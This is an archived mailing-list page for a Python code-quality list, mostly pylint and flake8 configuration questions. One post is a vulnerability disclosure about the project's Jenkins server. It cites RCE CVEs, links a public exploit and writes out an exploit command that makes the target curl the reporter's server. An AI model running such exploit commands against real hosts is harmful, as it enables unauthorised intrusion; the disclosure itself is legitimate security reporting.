Mailman 3 May 2019 - code-quality

pylint --no-docstring-rgx issues
by Bassam Khouri 15 Jul '19

15 Jul '19

Hi, I'm trying to configure the no-docstring-rgx option to ignore function and class names that: - Starts with _ - Starts with test_ - Ends with tests - Ends with Tests I came up with the following regular expression: (^(test)?_)|((T|t)ests$) When I test the regular expression on https://regex101.com/r/3BXmsa/6, it matches the text I expect it to match. However, when I run pylint against my code, it still reports a docstring is missing for a class name that ends with Tests. For example, if I have the following python 3 code. import unittest class _Utils(unittest.TestCase): pass class Test_Foo(unittest.TestCase): pass class test_Foo(unittest.TestCase): pass class UtilsTests(unittest.TestCase): def test_function_name(self): pass def _foo(self): pass def my_tests(self): pass if __name__ == "__main__": unittest.main() Running pylint --disable=all --enable=missing-docstring --no-docstring-rgx='(^(test)?_)|((T|t)ests$)' ./test.py yields $ pylint --disable=all --enable=missing-docstring --no-docstring-rgx='(^(test)?_)|((T|t)ests$)' ./test.py ************* Module test test.py:1:0: C0111: Missing module docstring (missing-docstring) test.py:8:0: C0111: Missing class docstring (missing-docstring) test.py:16:0: C0111: Missing class docstring (missing-docstring) test.py:24:4: C0111: Missing method docstring (missing-docstring) ------------------------------------------------------------------ Your code has been rated at 7.50/10 (previous run: 7.50/10, +0.00) I was only expecting to see the Missing module docstring violation, and the missing class docstring on line 8. Here is my environment: $ pylint --version pylint 2.3.1 astroid 2.2.5 Python 3.7.3 (default, Mar 27 2019, 09:23:15) [Clang 10.0.1 (clang-1001.0.46.3)] Any ideas what is going on and how to fix it? Cheers, Bassam --- "What we can or cannot do, what we consider possible or impossible, is rarely a function of our true capability. It is more likely a function of our beliefs about who we are." - Tony Robbins

1 1

[Security] Jenkins Unauthenticated RCE on https://ci.pycqa.org/
by Ái. Hồ Quốc 16 May '19

16 May '19

Dear Sir/Madam, While Searching Jenkins Dashboard I discovered that this domain (https://ci.pycqa.org/) vulnerable to this CVEs (CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029) allow attacker can execute arbitrary command commands on a target operating system. Steps To Reproduce: Download the exploit (https://github.com/orangetw/awesome-jenkins-rce-2019) and issue the command below: python2.7 exp.py https://ci.pycqa.org/ "curl myserver.ip/oob/" Then I check my server to verify that command executed.(see attached images for POC about content of /etc/passwd file ) Best regards, -j3ssie-

1 0

Flakes8 help on my short codes.
by oscar anomnihe 08 May '19

08 May '19

Good day, How can I get flakes8 plugin to yell at me when I exceed 500 lines of code(not individual lines)? I need it to help me not exceed 500 lines of code. Kindly advice Regards Oscar Sent from my iPhone

4 6

Re: [code-quality] Suspected bug on code
by Anthony Sottile 07 May '19

07 May '19

> Is there any reason flakes8_tuple should report the last line of this code below > > class ReferralsView(FormView): # !qa: D101 schema = ReferralsSchema() > buttons = (Button(name='send_invites', > title > ='Send Invites'), ) Looks like a bug to me, their bug tracker is at https://github.com/ar4s/flake8_tuple. Though this code looks pretty weird and not how I'd format it. Maybe something like this? class ReferralsView(FormView): # !qa: D101 schema = ReferralsSchema() buttons = ( Button( name='send_invites', title='Send Invites', ), ) Anthony

1 0

Suspected bug on code
by oscar anomnihe 07 May '19

07 May '19

Good day, Is there any reason flakes8_tuple should report the last line of this code below class ReferralsView(FormView): # !qa: D101 schema = ReferralsSchema() buttons = (Button(name='send_invites', title ='Send Invites'), ) Regards Oscar Sent from my iPhone

1 0